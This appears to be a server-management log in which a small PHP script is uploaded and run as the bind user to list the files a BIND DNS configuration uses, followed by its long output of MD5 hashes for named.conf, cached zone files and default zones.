MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 16:09:37: Establishing a connection
2026-02-09 16:09:37: 

PUT: /tmp/pkp254095

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 16:09:37: 

runuser -l bind -s /bin/bash -c '/tmp/pkp254095; rm /tmp/pkp254095'

2026-02-09 16:09:37: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
